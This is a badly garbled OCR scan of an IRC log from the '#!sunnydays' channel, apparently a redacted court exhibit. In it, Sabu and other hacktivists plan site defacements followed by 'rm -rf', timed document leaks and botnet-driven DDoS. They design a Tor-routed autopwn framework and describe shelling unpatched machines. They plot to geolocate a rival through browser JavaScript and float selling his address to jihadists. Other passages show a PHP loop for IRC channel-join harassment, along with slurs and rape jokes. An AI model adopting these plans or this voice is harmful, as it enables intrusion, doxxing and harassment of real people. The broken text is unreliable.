02; 
02; 
02; 
02; 
02; 
02; 



56 
56 

56 
57 
57 
57 
57 



#!sunnydays.log 
emand that they drop the charges against all anonymous 
rf 



rm 



< or we release all data, 
<J^| and do it anyway =) 
<@SaDu> = true anarchist 

<@Sabu> ROFLROFLROFL 

< deface all the sites with our demands 
<^^| that's the winning strategy 

<(asabu> well itll be cyber war and we arent ready yet — we would need a 
couple of things before we get to that 

02:58 <@Sabu> 1) we need to own some high profile shit BEFORE we go to war 
02:58 <@Sabu> for example at lulzsec we owned tips.fbi.gov and senate.gov but 
they both got patched 
02:58 <@Sabu> but shit li ke tha t = big 

02:58 <@Sabu> 2) we need ^^^B to make his ddos power double the size, and we 



need 
02 

02 
02 



and 



02 
02 



^^^^ 



otnets to grow etc 



<©Sabu> I mean thats for cyber war 
<@Sabu> theoretically 



we could use the police sites to retaliate for the &v anons 



<@Sabu> but you realize something like that will fucking chaos massive 



itnernet shut downs 
59 < @Sabu> cause* 

<^^^H at least put some msg there too 

<©Sabu> :x 

I don't think they'd dare to shutdown stuff 
would cost the corporate elite too much moneyz 

A 

even egypt couldn't pull that one successfully 

and here we rely on t he inte rnet even mopre 

Sabu have ut talked with about his friend? 

more* 
far more 
years? sigh, 
we gotta ride on those mofos 
Sabu> so what up niggas 
consider it done 
we need VPS to deploy emails 
timing will be essential though 

what might be essential too would be a shitload of vulns 




03:00 
03:00 
03:00 

03:00 

03:00 <©Sabu> 
03:01 
03:01 
03:01 
03:01 
03:01 
03:02 
use" 
03:02 
03:03 
03:03 
03:03 
03:03 
03:03 
03:03 




'ready to 



i lost 20euros ukash trying to get some vps in estonia 
shit 
lol 

hey didn't respond by now? 

didnt check 

but already passed lots of time 

sabu i played this... just loooiked it up that 80% of rapists get 

sentenced to 11 years (and only server 5.5 years) 
03:03 <~W^^^M makes people raeg on twitter 
03:04 <@Sabu> I was joking with my wife 
03:04 <@Sabu> the guy in oslo... 
03:04 <@Sabu> hes facing 21 years in prison 
03:04 <@Sabu> her joke was 
03:04 <@Sabu> I'd get more. 
03:04 <( asabu> H AHAHAHA <-- 
03:04 < ~^^^^B no joke 
03:04 <^|^^H XD 
03:04 <-^^^H truth :/ 
03:04 <@Sabu> yup. 



03:05 < 
we mean 
03:05 
03:05 
03:05 
03:05 
03:05 




1, deface all 
ness 3. leak 



sites with demands, 2 rm -rf 20 minutes later to show 
a few choice documents every hour 

someones getting 21 year for saying "id get more" :S? 

it'd get the media all hot and bothered 

but then, you're not in Norway. Or are you? :) 

Just claim u haz aspergers. 
and then, deploy everything 
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#! sunnydays .log 



03:05 <_^^^m sabu is tht true/ 
03:05 <g^^^rTovely 

03:06 <@Sabu> whats true 
03:06 <@Sabu> the 21 years? 
03:06 <@Sabu> yeah, thats what hes facing 



03:06 



03:06 
03:06 
03:06 
03:06 
03:06 
03:06 
03:06 
03:06 
03:06 
03:06 
03:06 
03:06 




yeh what for? 

1 fucking years 
be back in 15-20 

just for tsaying they'd get more? 

we should droimmaats db 
and me or or will probably get more 

sayi ng* 




shot before they can convict him though 



03 
03 
03 
03 
03 
03 
03 
03 



07 
07 
07 
07 
07 
07 
07 
07 



ove yu 

he may ge 
adrop 
agh 

fucking screen 
yeah 
drop 

i still dont understand? 
1 fucking years for killing 70+ 
thats insane 

21 years for what? 
ahh 

the guy i n oslo . . . 



03:07 
03:07 




<(asabu> killed those kids.. 
<@Sabu> bombs . . 
< @Sabu> e tc 

<~|^^^H that really is insane, i mean how the FUCK can that not be a lif 
sentence? 

03:07 <(asabu> ALL THAT SHIT HE DID = 21 years 
how the hell is that possible? 
oh they've caught him? 
yes . . 

uh of course, right on the spot 

society made him do eet!! 11111 

yeah well., in this case i doubt it 

he played modern warfare 2 and world of warcraft. . .for 
you know? :p 

norway actually IS pretty free and democratic 
:o 
oh god 

no, he didnt 
thats the point 
read his manifesto 
lyears :/ he shoudl get life 
wow was a cover I believe 

in that thing he stated that he used mw2 for "training" 

see sabu 

josephKGreen See Conversation 

ppl .. .Hackers harm hundreds, thousands 
this is why i not like that guy 
he aint tolling 
he 's j ust full of shit 

possibly, but not wow 

;p 

gentlemen I present you with: 



trai m ng . 
03:08 
03:08 
03:08 
03:08 
03:08 
03:08 
03:08 
03:08 
03:08 
03:08 
03:08 
harm 
03:08 
03:08 
03:09 
03:09 
03:09 
03:09 




OAnonymouslRC Rapists 

Enjoy the prison ass rape 



http://www.youtube . com/watch?v=kag4tU6B3yc 



03:09 <(asabu> 
03 
03 
03 
03 
03 
03 
03 
03 
03 



ignore<3) 

09 <@Sabu> UNFFFFFFF 
09 < <3 

09 Br^jn^^B ke r pi a- 34C0 5 721. to rservers.net] has quit [Ping timeout] 

10 <(asaDu> wore 

10 <(asabu> http://www.youtube.com/watch?v=c80c6m50ENc&NR=l&feature=fvwp ok 
I have an erection 

erection? 
a massive erection, 
lol 
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11 <g 

11 <@Sabu> 
11 <G 




#! sunnydays .log 
03:11 <@Sabu> fuck the leaning tower of piza 
03:11 



03:11 <(asabu> I got the leaning tower of sabu 
03:11 <(asabu> ROFL 



03:12 
03:12 
03:12 < 
03:13 < 
03:13 <- 
03:13 <^ 




lol men a boobs xD 

with these i will control your mind 

pics!? :D 

tit pics are Oday nigga 

most hunted Oday in the worldz! 
?Sabu> http : //www . youtube . com/watch?v=c80c6m50ENc&NR=l&f eatu re=f vwp = 
leetskeet 

03:13 <@Sabu> indeed 

03:14 <@Sabu> you know whats funny 

03:14 <@Sabu> 10-20 years from now we're all gonna sit together 
03:14 <@Sabu> and laugh about this shit 
03:14 <@Sabu> I swear man 

mhh gotta love your optimism 
ok i cook then for all of u 
but they would need to grant us a general pardon first :p 
03:15 <(asabu> hahaahha 
03:15 <©Sabu> I know 

03:15 <@Sabu> im fucked so much I'm sure 
03:15 <@Sabu> but 
03:15 <@Sabu> all I ask 

03:15 <@Sabu> is whatever federal prison I get put in 
03:15 <(asabu> send me letters in the form of ire chat 



03:14 < 
03:15 < 

03:15 < 




03:16 <@Sabu> 
03:16 <@Sabu> 

03:16 < 

03:16 <@Sabu> 
03:16 < 
03:16 < 
03:16 < 
03:16 < 
03:16 < 
03:17 < 
< 





sup bro miss you! 
3 



don't get jailed in the first place 
much better idea 
: P 
Tdd 

best plan ever :) 
sabu we promise lol 
but nah .. you'll stay with us :p 



wondering how long it takes until there's an anon/1 ulzsec/anti sec 

You guys have effected such expansive change over such a brief 
lat it's absolutely 

mi nd-blowing and inspiring . :) 
15:05 H ^^^H [^^H^^B^^^^^^H has 



some helpful words 

talk to Anon-Voice if you see him. 



he's rather interesting to 



03:17 
03:17 
movi e 
03:17 
period t 
03:17 < 
03:17 < 
exited] 
03:17 < 
03:18 < 
talk to 
03:18 < 
03:18 < 
03:18 < 
03:18 < 
03:18 < 

03:18 < 

03:20 <( dsabu> 
03:20 <'~^^^^| true, U.S. may go haywire anyway 
03:20 <@Sabu> whatever happens you guys just keep going forward 
03:20 <@Sabu> thats all that matters 

03:21 <@Sabu> anyway whats good with H^^^g I miss his freakish ass 
03:21 <~^^^^H hm? he was in here ea^^^^^ 
03:21 ""^■pokes Sabu 

03:21 <~^^^^H he's just not on anonops anymore 

03:21 " H pokes 
03:21 < @Sabu> o k 

03:21 <'^W^^^M or actually he still is in here lol 

03:21 <@Sabu> so when people ask me of him what the fuck do I say? 

03:21 <@Sabu> no comment? 

yeah no comment i think is best 
he wants to kill ^^^^g i think 
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al so 
Sabu 

who knows 

maybe there are no federal prisons anymore 

in 10-20 years 

:3 



03:21 < 
03:21 < 



61123 



03:21 
03:22 
03:22 
03:22 
03:22 
03:22 
03:22 
03:23 
03:23 
03:23 




#! sunnydays .log 
is going to sleep now 
night all :3 

<3 

leep well :) 



g the s^^^^^^^^^^^^^^^^^^fl 

you gonna still do that thing thing? 
with tweet tweet? 
http : //pastebi n . com/RT9 rRN3Q 



has joined #! sunnydays 
e right moment 



.com is currently offline, 
yes? 

jai 1 



Please try again later. 



03:36 
03:36 
goin 
03:36 
03:36 
03:36 
03:36 
03:36 
ni ck 



03: 


:36 


<@ 




03: 


;36 


<@ 




03: 


;36 




■ 


03: 


;37 


* 




03: 


;37 


< 




03: 


;37 


< 


^^^^Ei 


03: 


;37 


<@ 




03: 


;37 


< 


^^^^Es 


03: 


:38 




^^^^1 s 



u> wtfx 

hbgaryfederal 
u> still? 

rootkit.com too 
yer hehe 
tweet tweet? 

whaddaya mean? 

Sabu: of course. 

sabu i will send you things to 
but you wont get caught 
not if they haven't caught you already 

the fact it's taken them this long to arrest people who ddosed 
connections kinda tells you how shit thier investigations are lol 
and if i get v& and the media asks me why i did it im going to 
ulz" and nothign else! 

trolololololololol all the way :D 
lolol 

there is this guy 
on i2p 

he keeps changing his nick 
_ like 

and when the american FBI come to my country tyo question me im 
a translator because "i dunt spk american :(" 
every 3 days 
and I recognize him 

EVERY TIME 
wrfs a lulzsec" 

obey, that looks like a person that has changed his 

la few times 
land I keep recognizing 
|FUUUUUUUUUUUUUUUUUUUUUUU 

REALLY really going to sleep now 




o the same <3 



night :P 



<3 



03:38 

termi 

03:39 

03:40 

03:40 

03:41 

03:42 

03:42 

03:42 

03:43 

[User 

03:46 

03:46 

04:48 

04:48 

04:48 

04:48 

04:48 

04:48 

you? 

04:48 




|8e775b9C.CB47d490.a27e456C.ip] has quit [User quit: Lost 

yep 

time to drink a last whisky 
and cool down 

k, ill be back in a bit, too. 

1 aters 

has quit [User quit: bai] 

:erpia-CiE/2643.dialup.adsl .antel data. net. uy] has quit 

Leaving] 

same for me. bbl & take care 
has quit [user quit: Lost terminal] 

<(dSabu> tunny log to make you laugh 
<(asabu> : 

<@Sabu> 04:40 <^^^g^^^ so no developments on the email front. 
<(asabu> 04:40 <SaDu^s^^ts a mix of those two reasons 
<@Sabu> 04:40 <Sabu> nein none at all 

<@Sabu> 04:41 <^^^^^^^ you haven't released those to anyone yet, have 

<@Sabu> 04:41 <Sabu> no not at all 
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#! sunnydays .log 
04:48 <@Sabu> 04:41 <Sabu> not even al j'azeera 

04:48 <@Sabu> 04:42 <^^^^^^^ Do you think I could talk to your team about it? 

04:48 <@Sabu> 04:45 <SaDu^i^iot at this point 

04:48 <@Sabu> 04:45 <Sabu> so whats up man? tell me about life? 

04:48 <@Sabu> 04:45 <Sabu> theres got to be more in your life than all this 

bullshit? 

lol 

Sabu IS honestly bored 

looking for a new apartment, that's the main 



04:48 <(asabu> 04:45 
04:48 <©Sabu> 04:45 
04:48 <©Sabu> 04:45 
thi ng 

04:48 <@Sabu> 04:45 




we'll see how that 



<Sabu> sweet 
04:48 <@Sabu> 04:46 <Sabu> that sounds good 
04:48 <@Sabu> 04:46 <^^^^^^^| yeah, moving in with my gf. 
works out 

04:48 <@Sabu> 04:46 <Sabu> you have a girlfriend? get the fuck out of here 
04:48 <@Sabu> 04:47 <sabu> everyone told me you were gay 
04:48 <@Sabu> 04:47 " 



everyone?" 

04:48 <@Sabu> 04:47 <saDu> everyone as in everyone who ever mentions you 

04:49 <©Sabu> 04:47 <Sabu> LOL 

04:49 <@Sabu> 04:47 <Sabu> man that just made me laugh very hard 

04:49 <@Sabu> 04:47 <Sabu> perhaps I took it too literal when they all called you 

a faggot 

04:49 <@Sabu> 04:47 <Sabu> ROFL 
04:49 <@Sabu> me and adrian chan ROFL 
04: 56 < adrian? 
56 < lamo? 
59 < J^l fuck he want? 
13 <@SaDu> no 
13 <@sabu> bro 
13 <@Sabu> haah 
13 <@Sabu> adrian chen 
13 <@Sabu> I was fucking with him 
13 <(asabu> reporter 



04 
04 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
09 



14 

25 ■r^H [^M8fc68bf0.C1a97d99. F3E927CC.IP] has quit [Us er quit : Leaving] 
29 <(aSaDu>h-^p^/i .imgur.com/nliBk.gif - kid on the left is ■■^1 
31 ^■^■[j||^kerpia-AB0593lB. al89.priv.bahnhof.se] has qui^^^Hig timeout] 
22 ^^^^^ on no: 

http://www. rawsto ry.com/rs/2011/07/25/ journal i sm-student-faces-15-years-for-al leg 
ed-anonymous-hackti vi sm 
09:36 

ooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has 
! sunnydays 

mode/#! sunnydays [+qo ^^^l^m^^H by Confuzion 
[^g^^g^^^Sna^^^iea#! sunnydays 
SaDL^aDL^yoLnooked at the gwee core thus far? 
ai guise 

you round? 

you looked at that code yet? 

one? 




JOT ne 
09:36 
09:39 
09:40 
09:41 
09:41 < 
09:42 < 
09:42 < 
09:42 < 
09:42 < 
09:42 < 
09:42 < 
09:43 < 
tool fo 
09:43 < 
09:43 
09:43 
09:43 
09:43 
09:44 
09:44 
09:44 
09:45 
09:45 
09:45 



an ^ 

uhm whTcF 

' sec 

111 PM you my post from earlier 
was not here last 6h or so 




k, 

PM-ed 

my developer friend is working on kind of a metasploit style 

attacks 

you know, LFI-RCE, etc 
wow nice :) 
THing is 

he can write the engines 
to use TOR and such 

but he doesnt understand LFI, RFI, SQLi 
so thing is, he can write a framework for plugins 

databases, etc 

he needs our help making it WORK 
mmm i dunno if i can help much, maybe contribute some idea 
sideas 
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Need Sabu/ 



# lsunnydays.log 

^nd bugtesting :X 

^ I can do that also, and some light bugfixing. 

to make it really work 

oh i bet they'll love to :x 
I am currently thinking 
if I can get him to write a web spider 
need some coffee, its darn early, sec. 
invoke spiderfuzz -s -f -t -d 10 http://www.fbi.gov/ 
heh 

imagine that 
-s means spider 
-f means fuzz parameters 
-t means USE TOR 
_ -d (number) is depth to go when spidering 
heh yeah nice idea :) 

you see, it has a database 
so it can log vulns to it 
so then one can "invoke autopwn" 
lol 

Hoping to use msfpayload for payload-handeling and such 
make life easier :D 
ah nice 

they found my tweet 



09:45 < 
09:45 < 
on boar 
09:46 
09:46 
09:47 < 
09:47 
09:48 
09:48 
09:48 < 
09:48 < 
09:48 < 
09:48 < 
09:48 
09:48 
09:48 
09:49 
09:49 
09:49 < 
09:49 < 
09:49 < 
09:54 < 
09:54 < 
09:54 

http://uk.ibtimes . com/arti c1 es/186761/20110726/anonymous-hackers-hack-government- 

f bi -i tal i an-hacked-anti sec-1 ul zsec-securi ty-anti -securi ty-ope ratio. htm 

09:54 <~ ^^^m : D 

09:55 < ^^^^^H time to read this! 

09:57 < also, sick: 

http://bTog^^orbes .com/parmyol son/2011/07/2 5/ipad-hacker-gears-up-for-pri son-for 
esees- revolution 

eh... who was you? /me counts and thinks 
Took at it like the precursor to revolution. I really think 




09; 


;57 


< 


10; 


;00 


< 


this ■ 


i s 


10; 


;00 


<■ 


10; 


;00 


< 


10; 


;00 


<■ 


10; 


;00 


<■ 


10; 


;01 


< 


10; 


;02 


< 


10; 


;02 


< 


10; 


;03 


< 


10; 


;04 


< 


10; 


;07 


< 


:P 






10; 


;07 


< 


10; 


;07 


<• 





10:10 < 
10:11 < 
10:11 < 
10:12 < 
tal ki ng 
10:12 < 
someone e 
10:13 < 
10:13 < 
10:13 < 
10:13 < 
10:13 < 
10:13 < 
10:13 < 
10:14 < 
10:14 < 
10:14 < 
10:14 < 



interesting read indeed 
some ruinlifetacticts aimed at haxxors 
worst is, he pre-warned them 
so all white hat imo 
yeah obviously, he disdains lulzsec :p 
but still a good read 

I asked Charmy to get him to spill the infodox on how he did it 

so Im waiting on that report from her to reach me 

hahah, http : //totall yf al se . i nfo/?p=189 + 



XDDD 

LOL imma read this 

LOL 

did that faggot really t weet we were all v& ? 

"People tal kin 2 ©lol spoon Oanonymousabu R in fact 

themselves. v& - anyone tweeting from those accounts now is a standi n." 

_ jester seems to think sabu's twitter account is now controlled by 
ise heh 

LOL 

I really wish 

someone ncould get me his IP or something 

nowai t 
oh god 





low much would the all ah jihads pay 
if we gave them j35t3rs street address?! 
As in, within 30 meters of him 
or ratrher, like within 10 feet of his router? 
reckon it would be lulzy? 

Page 317 



61126 



10:15 < 
executec 
10:15 < 
10:15 H ■ 
#! sunnyoays 
10:15 < 



#! sunnydays .log 

Heres how its gonna work, we need some javascript that is 

1 n-browser 

that will find his gateways IP and MAC 
kerpia-D889D428. gigabit. perfect-privacy. com] has joined 



Pi ng 
10:16 



i.e. his ROUTERS MAC 
vpn node died 

then we toss that MAC into street view 

and ????????? TRIANGULATION! 

maybe cops took it .. heh 

_ looooooooooooooooooooooooooooooooooooooooooooooooooooooong.cat] has quit 

timeout] 

now known as 



a way to geolocate jester 





like a few feet of his home router 
need some DS that executes in browser 

gateway/router 
its IP AND MAC 

IP, MAC back via post 



to within 
Ok, so we 
finds his 
and snags 
then sends the 
to our server 
hmm 

it THEN would put the MAC through Gogle Street View 
and get a geolocation based on wi Fi data 

????????? TWEEEET 

or rather. . ./ 

do some dxing on the address we get 
send it 9001 pizzas for the clown 
etc 

TL;DR, precision geolocation 
Jack Bauer Style lolol 
good chance he allows JS. looking at his blog 
it's so lame it hurts the eyes actually 

Right, so we need someone who can write 3S rubbish 

BTW 

said mnethod 
rapes proxeas 
as in, bypasses them 



hmm 
we ge 




Pi ng 
10:36 
10:37 
10:38 
tweeti ng 
arrested 
10:38 < 
10:39 
#! sunnyoays 
10:39 



IS into that crap afaik 
is true location :D 
on another note, us debt ceiling? when will they decide? 
No idea 

LOL 

OH GOD 



ooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has quit 

timeout] 

[^^^(e94f7bed.d10fa275.84e78e68.ip] has quit [Ping timeout] 
Jester is such a mindless tool 



the people behind the aliases 

rom their designated alias public faces, 



_ and 

the rea 



have stopped 

people must have been 



there is /no chance in hell/ that they closed their laptop lids 



please buy be a Falcon tlx 
>c3b4a. perfect-privacy. com] has joined 




is now known as | 
Falcon TLX? Laser 
a laptop 
it does sound like a 

hey _ 
howdy 

exiled surter did 
yeah ^^^^^B it's 
16GB RAM :D 

wants it for traveling thiiiiiiis much 
mmmmmmmmmm want 
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10:40 < 
else di 
10:40 
10:41 
10:41 
10:41 < 
10:41 < 
10:41 
10:41 < 
10:41 < 
10:41 < 
10:41 <' 
10:41 <' 
10:42 <' 
10:42 < 
10:44 
16GB RAM 
10:44 < 
10:44 < 
Popul ar 
10:45 <' 

10:47 < 

ball with us 
10:48 
10:49 
10:58 
10:59 
10:59 
10:59 
10:59 
11:04 
:P 

11:04 _ 
masochi st 
11:05 < 
11:05 < 
11:05 
11:05 < 
coming out 
11:06 <' 
11:11 
11:16 




#! sunnydays .log 
okay, I'm gonna add a bunch and we'll just claim someone 

whats the pricetag on such a beauty? 

http : //www . arti f i ci al eyes . tv/node/920 
s, ill try to take care if that 
http : //www. arti f i ci al eyes . tv/node/919 
http : //www. arti f i ci al eyes . tv/ node/918 
http : //www .arti f i ci al eyes . tv/ node/917 
http : //www . arti f i ci al eyes . tv/node/916 
http : //www . arti f i ci al eyes . tv/node/915 
ed tfiem 
$3500 



21:46 
21:46 
21:46 
21:46 
21:47 
21:47 
21:47 
i can say 
probably around 
cheers 

http ://www^^l con-nw.com/laptops/drx < — ^^^^^^ DRX 

111 need to rob a bank ;) 

wants custom-painted 15" with an i7 extreme, GT 540M, 




and 



so yes, 






let's rob a bank 

perhaps that one that we were asked to look at? Banco 

Sabu's men apparently found us to be too hot 

ah, well, if we own it either way they will be forced to play 

no? 

more than likely 

http: //www. falcon-nw.com/custom-painting *drool* 
i uonne 

i like heavy & overpowered notebooks 
it's kinda contradictory 
too havy to carry around 

heavy* 

like those things with PCl(e) slots and near car-battery? 

grab yourself a desktop stuffed with 3 Quadro 6000s you dang 

my setup is pretty sick actually, although a bit old by now 
but enough to run crysis 2 on highest detail 
dec ^^^g send trolley 

haha I wouldn't mind spending $20,000 on something with SSDs 
ass, but I like to live light so a Falcon tlx/drx would be supreme 
also, fuck your notebook 

im waiting for this fucking Chinese wan to email me 






looooooooooooooooooooooooooooooooooooooooooooooooooooooong.cat] has quit 
.Ping timeout] 



11:16 




J01 ne 
11:17 



11:28 
11:29 
11:29 
11:29 
11:29 
11:29 



1 ooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has 
sunnydays 

mode/#! sunnydays [+qo ^^^^^^^^^^ by Confuzion 
the foo 

my internet hates me today 
have a whiskey and kick it in the face 
im bombing my dev with the info he wants 
also, I need to set up a SVN for this 

cos if every time I hand him an idea, he codes it in a few 
I better get my thinking hat on for ideas! 

^^^1 - 111 post an encrypted pastebin here of the infodox I 

tell me if you see any flaws in my plan :D 
Tnfodox? 

Link = https://pastee.org/gv6vr pass = 
Thats the plugin briefing I sent him 
you know the code I sent earlier? 
he thought it would take him 9001 years to write 
until he ot inspired :) 

so now that im sending him code smaples, information, ideas... 

His needed for MSFpayload work 
u is needed for shell code 
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11:30 
11:30 
11:30 
11:31 
11:31 
11:34 
11:36 
11:40 
11:40 
11:40 
11:43 
11:54 




will 

asT cal ly 



#! sunnydays .log 
be needed for shit also# 



lets brain storm this shit 
ah nice., looks good, specially the links are a good selection 
meh i amnot fully awake yet 

has quit [Ping timeout] 

oh ^^H^s bach 



add you \o/ 




finally i was able to 
complete again 



12 
12 
12 
12 
12 



02 
02 
02 
02 
02 




" 2?T8TdT] 



cannot access 
data 

12:02 < 

showed how 



mode/#! sunnydays [+oo Sabu_] 

69469d<^ J . AB4DE763 . 8424181D . IP] has joined #! sunnydays 
Ok, so we need some JS that executes in browser 
finds his gateway/router 

^and snags its IP and mac 

not possible 

javascript itself does not have any features for this, and 
es, a registry, or basically anything else that may hold this 





incorrect amigo, seen a DEFCON presentation that 

bollix thing is 
I cant remember how it worked 
IIRC, it used XSS kind of thing 

that is not possible anymore 
domain and port = no request 




yes, but 
not same 
no? 

ah, damn 
what you 



C 



done in the past 
it in my IDS 

page 




that 



could have 
I was hoping to use 
is make a request to the router 
then dump the info on there 
in a post request 
but you can't do that anymore 
since all browsers have XSS protection 
:/ 

even IE now has protection against that I believe 
damn : ( 

all you can do is make a simple ip honeypot 
that captures the IP of any visitor 
and he uses proxeas I bet 

combined with some javascript to get some random info 

yes, but if you use a java or flash app to get his real IP and 

y works . . 

may or may not work 
depending on his setup 
yeah he is usually on TOR 

if he uses torbutton that is all most likely blocked 
if he configures manually there is a chance it may work 
Has anyone ran the latest SVN version of Metasploit today? The 

FUCKING WIERD 

lol im scanning all the prison mails for malware ... gah stop it 

hmmmmm, I'll come up with something 
but Im pasting this ASCII banne 
its WIERD 

http://browserspy .dk/ip. php 
http : //pastebi n . com/raw. php?i =bmC7M8x4 

guys, the banner on metasploit today is wierder than ever 
oh, they added new ones on load 

_ "lol 

there ARE actually virri in there it seems lulz 

12 ; ' ; 

"X : \tx\htdocs\cl ebu rnecountysheri f f . com\awhi te\Mai 1 di r\cur\bi nd7bj_7waFs . bi n" ; "Vi 
rus identified 3S/Phish" 
12:09 < 
12:09 < 
12:09 < 



LOL 

Oh lawdy 

the fact theres bin files in there 
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12:10 
12:10 
12:10 
12:11 
12:11 < 
12:12 < 
12:17 < 
tonight 

12:17 < 

unpatched XP 
12:17 < 
12:17 < 
12:19 < 
12:20 < 
all saying 
12:32 < 
12:44 < 

12:45 < 

bit out of s 
12:52 < 
12:52 < 
12:53 < 
13:00 < 
at Pizza Hut 
13:00 < 
13:02 
13:05 < 
13:05 
13:05 
13:05 
13:05 
13:05 
13:06 
13:07 
13:08 
13:08 
13:08 < 
13:08 < 
13:08 
13:08 < 
13:08 
13:08 
13:08 
13:08 
13:08 
13:08 
13:08 < 
13:08 
13:08 

13:08 < 

restricted n 
13:08 < 
13:08 < 
13:08 < 
13:08 < 
13:08 
13:09 
13:09 
13:09 



#! sunnydays .log 
and *grins* I love having the latest SVN version of MSF 
no its not bins, its actually PDF 
i think something is broken there 
thought htdocs.rar was clean 
lol at the banner 
<3 Missile Command 

- im currently scripting MSFCLI for a bit of lulz later 






a rogue netbook attached via ethernet cable to a room full of 

boxes 

mmmmmmmmm 
tasty 

This time I am using Bind shells though 

no fucking way am I being DoS'ed by 9001 reverse connect shells 

i at the same fucking time 

lol 

rofl 

Ok, writing a nice script for it, decided to expand "ChOmpy" a 

heer boredom 

http : // pastebi n . com/ raw . php?i =SSMxhuBz 
quick and dirty Perl exploitation Menu 
(I got bored) 

haha i convinced that one chick that we actually wokred together 

hahaha 

LOL 

rofl 

so 



<l 
<l 
<l 

13:09 < 
13:09 < 
13:09 < 
13:09 < 
13:09 < 
13:09 < 
13:09 < 
13:09 < 
13:09 < 



ittp://artiticial eyes . tv/f i 1 es/arti f i ci al eyesbl ockedbyUSAF . j pg 
look at this screenshot 
and tell me what's wrong. 

' sec 

OLD MSIE 

there is something strange 
in that screenshot 
exploitable 
and I am wondering 
if you guys see it 
no, not old MSIE 
k 'sec 

well, at least that's not what I was talking about :P 

IE is not uninstalled? 

No fucking network connection 
lol 
_ lol 
Hey Sis 

I noted that in the taskbar 

^^^^^B that is indeed strange, 

etwork 

It's an Army computer., ofc it's IE 
like the USAF network 
rr Ai r force 

true... Ill examine more 

that's not what I was pointing at specifically 

air force indeed 
:P 

Twitter is NOT blocked 

LOL 

close, but no 
not what I meant 
: P 

_ it's a smaller detail 
waiting for" 
BINGO 

DING DING DING 
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13:10 < 
13:10 < 
13:10 < 
13:11 < 
13:11 < 
13:11 < 
13:11 
13:11 
13:12 
13:12 < 
13:12 < 
13:12 
13:12 
13:12 

would be understandable 




#! sunnydays .log 
why is it waiting for a page that has already loaded? 

that IS odd 

bonus points to :P 
so yeah 

I am not entirely sure that screenie is legit 
uno how their filter actually works 
but i ask exiled to check back with his contact 

its net nanny crapola 

ave him inquire 

heh 

I already poked him about it as well :p 
it's fishy at least 
I mean 

if it had banners, images, or special scripts running... it 



but it doesn't 
1:08 



01:09 
but i 




don't either. 



the source is trusted. 
_ i can't reveal more 

this would be faked 
but not everything is always obvious 

~tT\e oddest thing is that IE is not uninstalled, someone is using 

large win? icons, someone is using a default win7 taskbar, and they seem to not 
be using the superior foobar2k for media, also their clock is mm/dd/yy, which 
isn't acceptable to our eyes 



13:13 < 

13:13 < 

13:13 < 

13:13 < 




xD 

THE FUCK 

>live search as default 
01:10 



but this source was involved in getting 



wikileaks off the library censorship list., one of the ones 

that uncovered that whole thing 

01:10 <^^^^^|^B i'll follow up on it. 

my phon^pro^^er just locked my goddamn account for 30 minutes 
"Your account is now timed out for 30 minutes. Please try again 

FFS 

huh? 

y for 30 minutes? :o 
^^^g - I dont know 

I entered the correct passphrase, filled the captcha, etc 
now im locked 
... odd 




will be back later. 



there are things that are odd 
and things that are unacceptable 
what you listed is all in the second category 
im gonna take precautions, I know it is baseless paranoia, but 



only the loading thing is in the first :P 
mm 

69469d23.ab4de763.8424181d.ip] has quit [User quit: 



just because you're paranoid... doesnt mean they arent looking for you!] 



13:16 < 
13:16 < 
all kin 




rofl 

_ id I ever tell you the story of how I mass sajoined 
weird shit like "#3ameswashere" "#hacked" "#owned20" an" 



to 

turned 



off all hi s shit and didn't get back on for hours? 



13:17 < 
13:17 < 
13:17 < 
13:17 < 
13:17 < 
13:17 < 
13:18 < 
Flooder 
13:19 <' 
13:19 <' 

13:19 <' ^ 

@#1 ol raep95 ©#Tol rae'p 




I said "LOL stop it was me" /just/ as he went for the wall plugs 
rofl 

you ' re a mean man ! 

LOL 

"ust good you haz no o:line here :p 

ye, lol 

I had an o:line you would all be feeling the burn of Peon 

:3 

:333 



is on: (a#lolraep99 (a#lolraep98 (a#lolraep97 @#lolraep96 
#lolraep93 ©#lolraep92 @#lolraep91 ©#lolraep90 
(a#lolraep89 (a#lolraep88 @#lolraep87 @#lolraep86 @#lolraep85 @#lolraep84 

Page 322 



61131 



# lsunnydays.log 

(a#lolraep83 (a#lolraep82 @#lolraep81 @#lolraep80 @#lolraep79 @#lolraep78 
@#lolraep77 @#lolraep76 @#lolraep75 @#lolraep74 @#lolraep73 @#lolraep72 
(a#lo1raep71 (a#lo1raep70 @#lolraep69 @#lolraep68 @#lolraep67 @#lolraep66 
13:19 <V^^^H @#lolraep65 @#lolraep64 @#1olraep63 @#lolraep62 @#lolraep61 
13:19 <^^H^^H - is on: @#1o1raep60 @#1olraep59 @#1o1raep58 @#1olraep57 

(a#1ol raep56WroTraep55@#lo1 raep54 (a#lo1raep53 @#lo1raep52 (a#lo1raep51 
@#1olraep50 (a#1olraep49 @#lolraep48 (a#lolraep47 @#lolraep46 @#lo1raep45 
(a#1olraep44 (a#1olraep43 @#lolraep42 @#lolraep41 @#lolraep40 @#lo1raep39 
(a#lolraep38 @#1olraep37 @#lolraep36 (a#lolraep35 @#lolraep34 @#lo1raep33 
@#lolraep32 @#lolraep31 @#lolraep30 (a#lolraep29 (a#lolraep28 @#lo1raep27 
13:19 <^H^^H (a#lo1raep26 {a#lolraep25 {a#lo1raep24 {a#lo1raep23 (a#lolraep22 
13:19 <^^B^^H - is on: @#1o1raep2l @#1o1raep20 @#lo1raepl9 @#1o1raepl8 

(a#1ol raepl7 (a#Tol raeplb (|a#lolraepl5 @#lolraepl4 ©#lolraepl3 ©#lolraepl2 
(a#1olraepll (a#1olraeplO @#lolraep9 (a#lo1raep8 (a#lolraep7 (a#lolraep6 @#1olraep5 
@#lolraep4_£#lolraep3 (a#lolraep2 @#lolraepl @#lolraepO 



13:19 < _ 
instantly, 
13:19 < 
13:19 < 
13:19 < 
13:19 
13:19 
13:19 
13:20 
13:20 < 
13:20 < 
13:20 < 
13:20 
13:20 
13:20 
13:20 
13:20 
13:20 
13:20 < 
13:20 < 
13:20 < 
name> [cy^e 



using it on default miRC users is best, it sajoins/saparts 
so they get 500 red flashes fil 
Mow talking on #lolraep99 
in 
god 

fucking damnit 




#lol raep$i<br>") ; 



are you using /sarape script? 
~| noes 
3oks like sarape 
<?php 

f or ($i =0 ; $i <100 ; $i ++) 

{ 

echoC'/sajoi n H 

} 

?> 

then copypaste result 
into client 
_ :3 

quick and dirty lol 
mine just works like /peon <nickname> <# of channel s> <channel 
